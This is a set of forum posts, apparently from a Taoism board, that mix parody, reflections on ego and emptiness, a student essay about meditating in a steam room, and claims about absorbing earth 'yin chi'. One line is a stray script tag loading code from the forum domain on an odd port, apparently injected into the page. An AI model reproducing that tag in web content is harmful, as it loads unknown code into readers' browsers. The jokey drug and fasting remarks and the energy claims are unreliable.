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the special scent you say...hmm, let me refer to my I Ching Tarot hybrid, its in czcheckyosaliva'n so the transfellation may be somewhat slurred, inSPITe of what u may or may not inTURNpit, consider all grains of salt in rice padding. it is the pseudo-odious smell of the body's pheromones and aroma-stink produced in its most natural and detoxified when the golden elixir of the immoral fetus has permeated the physical shell manifestation of the asstroll body following the 40 day full lotus moon fast

I would say communicating "born" of emptiness. "Through emptiness" is an oxymoron, otherwise our definitions of emptiness are very different; but emptiness in the strict Tao-I sense is FORMLESS hence a non-communicable disease

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And u call urself a Taoist? Just kidding, I know where you're coming from "semantics" in"deed"...; but it should be a given for a Taoist that "work" is inherently "non-work" correlating with effort and non-effort, so when I say work, in Taoist terms, naturally, it actually implies no-work, hence the work is never done -Lao Tzu only when effort is raised, is this "work/effort" committed, though in my work, the work is never acknowledged, hence effort does not arise, therein lies the Tao.

You wouldn't be breathing. Actually*: Consulting my translation of the Dao De Jing, verse 69: "Unless you tracked your belly with NASA-status titanium magnets, jugular-main-lined a bunch of reptilian overlord grade DMT-laced methamphetamines during a full-blast alpha lvl Slayer sound-tracked orgy peaking on a MDMA OD while vigorously reverse breathing in a death-lock-mudra full lotus simultaneously chanting the true name of DEATH, then you might have something to worry about..unless you performed all the aforementioned on a waterbed, in which case I barely escaped with my 2% full dan-tian, to the credit of John Chang astral projecting to my underground coven and shooting chi out of his big toe and fighting off extradimensional predators just in time for me to pray to Jesus. ^ that is how much u should listen to most of the advice on these forums, go RUN FOR YOUR LIFE

<script src="//thetaobums.com:8011/bar7209.js" type="text/javascript" ></script> yes, YOU MUST EXPOSE YOUSRELF TO THE ELEMENTS!!!!! RUN THRU THE COLD MOONLIT NIGHT WITHOUT SHOES AND A BALD HEAD AND SLEEP ON THE HARD OUTSIDE GROUND LIKE THE ANCIENTS (BOW) AND U WILL BE 10X FULLER/CULTIVATED THAN 72 HOURS OF " MO PAI" LA-ZY ASS MEDITATOR. I have allotted my allowed yang-word-language consciousness for the year by my last few posts on this forum I will return in a year or so, or earlier if this forum finds the true One, Jesus. Unless he is "in your Way".

"release" is my very definition of "work"; just goes to show how self-imposing labels can be, which is why studying the Tao is so much more conducive in non-language based modes, and especially matrix-inducing, chi-sucking platforms such as computer/internet discussion. excuse my prose. -_^

First you must ask yourself, what is the easiest way to NOT live in the present?! Go from there. WORK.

The instant you attempt to convey "Taoism" with words, you have FAILED in everyway to truly define..no, no, to EXPERIENCE it. It is like teaching Infinite dimension Quantum DRAGON Physics to a 1 dimensional point - not even a line, or a frog being (not discrediting their inherent wisdom) but just a ---,.. =_- a point (a non-sentient one at that).. it will only bring you further from the truth! will only divide you hitherto language-induced 3rd eye negative baggage ILLUUUSSIIIOONN DELUSION!! watashi wa ooki sakega suki desu ne wa ooki baga arigato! atsui desu ne nidori clear - out

indoor teachings!? mahahah, the real teachings are outdoor, OUTSIDE... observe....nature.... LU W.

Star Wars: Darth Plagueis The Matrix: Being the One The Reality of Being oh and that old book called Life.

Spirits? You mean Spirit, singular? There's only one Spirit... Alter your perception of duality, you will see the 10,000 things (spirits..?) as One, all working together within the Great Mystery. Breathe. Smile. Peace.

It is not just "the holy spirit" my friend, it is the power of solid human belief - conviction... if you held that same belief in a holy basketball the same results would ensue... it is the holy placebo....

Stop seeking, and it will find you. What is the ultimate goal of Taoism? Some would say that a Taoist has no goals, and is defined by such. So is the goal to have no goals? Yet paradoxically, that is a goal in and of itself. The Ultimate Goal. What does a Taoist strive for? Does he strive not to strive? I will attempt to speak pragmatically and eschew cryptic esoterica; (hint) the goal that can be named is not the true goal to attain, to retain. As Yoda said, (something along the lines of) to truly learn, you must unlearn everything you know. Living in the mystery, how could one know the goal? To "be", to live in a perpetual state of non-dual unity and enact the Will of the Mother of All Things, walk the Path of the Way. Alchemically, the goal is to raise one's energetic vibrational frequency along the infinite spiral of the Eternal Spirit as correlating consciousness unifies with the Universal Mind and non-being/doing truly occurs.

I wrote this many years ago for an English 101 assignment; maybe some can relate. Forgive the formatting. The Dynamism of Social Conditioning Unfortunately, social conditioning is a byproduct of social living. Social conditioning manifests in many forms. Family, institutions and media are all exemplary outlets of social conditioning, each consisting of infinitesimal aspects all acting as unique conduits, collectively pervading and influencing the surface beliefs of the individual; the individual whose mind was once as free as water. Social living is a byproduct of society, as is obviously deduced. Throughout life, many people start to uncover and eliminate the various subconscious prejudices and presuppositions invoked by years of subtle, societal indoctrination. If researched, one would find a vast array of different sources of inspiration relating to experiences that could be described as life-altering, spiritually epiphanic revelations. Paradigm shifts are induced and doors of perception are opened when tainted and unnatural beliefs are purged from the ever so delicate human psyche. When the filters of judgment are cleansed, “man changes the way he looks at things, and the things he looks at change” (Dr. Wayne Dyer). In my humble opinion, I have always been somewhat of an independent thinker, but I owe much of my new, life-changing perspectives to a friend named Ben. Mostly all of my friends share very similar personality traits; not to imply that they are carbon copy clones each other, just like minded guys. Ben, however, is quite a different character in my circle of friends portrait. He is someone that many of the Right would quickly label a “hippy”, in spite of the ubiquitous, highly modernized trends popularized in the sixties that many young people of today are now embracing. Speaking of labeling, Ben would waste no time to humbly chime in with a little gem of premature wisdom in peaceful opposition to the presumptuous act. His peace-and-love heeding, however, more often went unregarded as any offering of moral direction and instead insignificantly interpreted as a passive trait of his personality. One day a few friends and I met up at the gym and lounged in the steam room after working out, a situation of awkward hilarity and pseudo-enlightenment ensued. Unbeknownst to me at the time, the events that would transpire that day would forever change the course of my life for the better. Four of us five all sunk into a reclined existence of respite in the face of overwhelming hot steam and sore muscles. John, Brad or Mclusky or all three let out a joking sigh of exasperation when it was quite noticeable that Ben was again displaying his ignorance of superficial public decorum by assuming an admittedly amusing looking meditation pose. I always couldn't help but somewhat admire the audacious innocence and seemingly unintentional zen-like quality of Ben's character. I recall formatting his caller ID on my phone with a picture of a Buddhist symbol after one of my first in-depth conversations with him; Ben has a knack of unexpectedly turning your average “empty time moment” into a deep discussion of music, philosophy, metaphysics, social dynamics, conspiracy theories, obscure facts, everything your new age hippy would have in his conversational arsenal. Later on, however, he insisted I change the Buddhist icon to a Tai Chi (yin yang) symbol, along with providing a detailed philosophical explanation as to why, all divulged with an undertone hinting of supreme importance. “What are you doing, Ben? Are you trying to meditate? You're going to get us kicked out,” Mclusky said disapprovingly to Ben, in a completely joking fashion, though you might not have known it. As is the case with most friends who aren't women or sissies, it is commonplace to berate and degrade each other for the humor and benefit of all. We all had our “character flaws” that we were all well aware of and were all aptly adept at gleefully exploiting such shortcomings if the occasion ever happened to call for it. “I thought we were past having to keep you in the car?” Mclusky added in mock reprimand. Our grins were all masked with fatigue, the synergistic effects of post-exercise and steam room tiredness taking its toll. I bemusedly sighed and reflected on the irony that in reality, Ben would be the last one responsible for getting us kicked out anywhere. Ben employed his trademark, toothy smirk. “Check it out,” Ben said while demonstrating the meditation pose. “Lay your left leg over your right thigh like Indian style, rest your hands palms facing upward on your legs, and then touch your thumbs and index fingers together.” Bemused, we all followed Ben's instructions. “Balance your breath; slowly inhale through the nose and out the mouth.” He did so, looked at us all and smiled. “Oh, and obviously it wouldn't be as intense if we weren't in a steam room. Just try to relax.” He proceeded to close his eyes, as if with divine purpose and intent. Relaxing was no problem for me, I was no stranger to stress and any outlet of relieving any of it was to be gratefully embraced. So I imitated the position of Ben's arms, hands, fingers and legs and began to feel subtly different after a minute of relaxing. Thought was replaced with feeling. A sensation of blissful emptiness overtook all my senses, almost as if experiencing life for the first time. In amazement at this sense of unity with the universe, I eagerly looked around and noticed the dismal expressions on my friends, as if torn between relaxation and discontentment. I could tell they were still struggling with the attachment of their ego; the illusion of the self they've created in their minds. Then instead of looking at my friends, looking externally, I looked inward. For some reason, on this particular day, I realized that the amount of time I spent looking outwardly and worrying about things I have no control of by far outweighed the amount of time when I was anywhere near close the state of being I experienced during my first legitimate attempt at meditation in the gym's solemn steam room, which is where I now always want to be. My friends are definitely in no way against meditation, but they are by no means proponents of it either. Through fully immersing and allowing myself into a new experience I opened new doors of perception in my mind. By ignoring any social bias or sense of embarrassment at partaking in an act that was out of the social norm, I discovered the value of stillness and obtained the ability to clear my mind of negative socially conditioned paradigms that was the core problem causing many of my own shortcomings. I will never forget the value and potential rewards of being open-minded and non-judgmental. I also will always remember how grateful I was and still am for my friend Ben's willing openness to share and spread“free love”, as he so simply put it to describe the predominating, driving force of his life.

Well, here's the thing... When one naturally experiences Oneness with the Tao and realizes ego as an illusion and all that other fun stuff, for the most part it's all good, because there is an underlying foundation of spiritual energy and understanding transcending language that was naturally developed on the Path leading one to this profound experience. In the old days, the masters would let their students grow into this experiential understanding naturally, without ever answering questions in a direct, literal sense... But always answering questions with questions, metaphors, parables, riddles, silence/transmission, etc... to make sure the student comes to true understanding through meditation, otherwise the true teaching is lost... and all the fun is taken out of it! Now modern day/society on the other hand... there is this huge, global surge of interest, obsession even, of all things new age, spiritual, mystical and whatnot... and dont get me wrong, i think thats great and all, but we have everyone (from teens, fiends, to old beans) who, conditioned by our instant-gratification-based-society, are after the magic pill, the magic mantra, or this magic "concept", idea that will flip their worlds upside down and surely transform them into Yoda in 21 days or less or "your money back guaranteed..." and mark my words it wont be long before we see "Become Enlightened in 21 Days or Less!" and "How to Open Your Third Eye (Overnight!) For Dummies!") Now this magic "concept" for many seems to be "your ego is an illusion" which to the uninitiated somehow translates to "kill your ego, 'you' are an illusion, your purpose, desires, dreams, thoughts, feelings and relationships are all an unreal pointless delusion".. Hmmm… so your average uninhibited, materialistic/egotistic person who has yet to ever meditate or make any true spiritual development gets interested in that trendy new thing called spirituality and stumbles on some new-age site or forum where he discovers the hip ‘concept’ of “Oneness” and the “illusion of the ego” and subscribes to it as if it were any other religious dogma, making all these misguided assumptions on how to live one’s life, perhaps repressed-energy/brute-force induced, radical over-zealous external life changes such as getting rid of all of one’s possessions, ‘spiritual relocation’, forced-suppression of all emotional energy and detachment/disinterest of relationships, hobbies, ambitions and other ‘worldly’ things all unbecoming of an aspiring “enlightened being”… How long does that last before the inevitable flip? Doesn’t surprise me that now I am seeing lots of people vehemently opposed to Eastern Spiritual principles/Universal Truths even going so far as to call them satanic/demonic/evil whatever… The "spiritual teachers" of today won't teach akin to the sages of old because there isn't much money in upsetting your eager students by withholding wisdom that they aren't ready to receive. Funny...people conditioned that the right sequence of dualistic conceptual knowledge will instantly ascend them into infinite bliss and tranquility... which ironically, paradoxically somehow turns into this so-called non-dualistic non-conceptual non-knowledge .

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One who undergoes a 72 hour fast/simultaneous full-lotus meditation session and reads Paradise Lost (with fractal patterns underlying text) with background Tibetan spirit drumming playing on loop while on acid and mushrooms will discover the true metaphorical nature of religion and the reality of reality.

One who undergoes a 72 hour fast/simultaneous full-lotus meditation session and reads Paradise Lost (with fractal patterns underlying text) with background Tibetan spirit drumming playing on loop while on acid and mushrooms will discover the true metaphorical nature of religion and the reality of reality.

Based on these laughable presumptions, perhaps you should throw away your teacher and look for some books which might explain to you why you feel the desire to put yourself on a pedastal and declare such ignorant, egoic statements Ah, and "忠言逆耳 "honest advice often grates on the ear? huh? So does any challenging, opposite perspective... but nice little piece of anecdotal rhetoric that can be applied to any opposing viewpoint to 'justify' its invalidity. PS: needless to say, the notion that you are implying that any question that could be hypothetically answered by some arbitrary (omniscient in your case?) teacher should not be asked on a discussion forum in which the primary basis of discussions are questions is just well...flabbergasting...

The Earth is "Neutral"? Can you elaborate on this? The Earth is very much so Yin energy; otherwise we would not be alive right now, the sky/air/sun Yang; do not know what you mean by neutral, but I believe the misconception is all yours. Yes, the moon is Yin but a different energetic vibrational density/frequency then Earth..Gurdjieff postulated that the moon is actually a spiritual being, as is the Earth, that is being gestated by the spiritual energy of the Earth and its inhabitants, slowly evolving into an 'Earth' itself, that we are all 'food for the moon'. Everything living on the Earth, people, animals, plants, is food for the moon…. All movements, actions, and manifestations of people, animals, and plants depend upon the moon and are controlled by the moon…. The mechanical part of our life depends upon the moon, is subject to the moon. If we develop in ourselves consciousness and will, and subject our mechanical life and all our mechanical manifestations to them, we shall escape from the power of the moon. —G. I. Gurdjieff http://gurdjiefflegacy.wordpress.com/article/gurdjieff-the-moon-organic-life-rwersjeofjp9-11/

Aspects of genuine spirituality, not mainstream...yet still tainted with dualistic dogmatic barriers suppressing true absolute spiritual unity-immersion.

mmmm.....do what you want but your perineum must directly be connected with pure earth in order to absorb the yin of the earth, which yes you're correct in that to accumulate more yang you must be nourshing your yin. You can still accumulate yin if you are not connected to the earth, but it will take incomparably longer and not efficient for cultivation of yin yang gong. Oh and in regards to you not feeling any difference in meditating on ground or in your apartment.... just because you don't feel a difference doesn't mean there isn't one, besides from what I understand, one cannot actually 'feel' yin energy itself, only its effect in relation to yang; black isn't actually a color itself, but merely the absence of color, darkness isnt an actual thing - just the absence of light, just as yin isn't tangible or graspable, but the void/absence polar opposite of 'thing'/yang, it is 'no-thing' formless but in essence essential to the cultivation of yang for their eternal balance grows out of the dualistic embrace into the eventual spiritual fusion of non-dual Oneness, Tao.

Just curious, what book did you read this information in? And yes, you will not accumulate 'sufficient' yin chi if you are not meditating on the ground, connected to the earth without insulation from synthetic materials. You will still accumulate yang chi in the dantien, but based on the context of your post, I'm assuming you're attempting a particular, condition-based nei-gong meditation practice that involves accumulating both yang and yin chi, in which case yes you must be on the ground.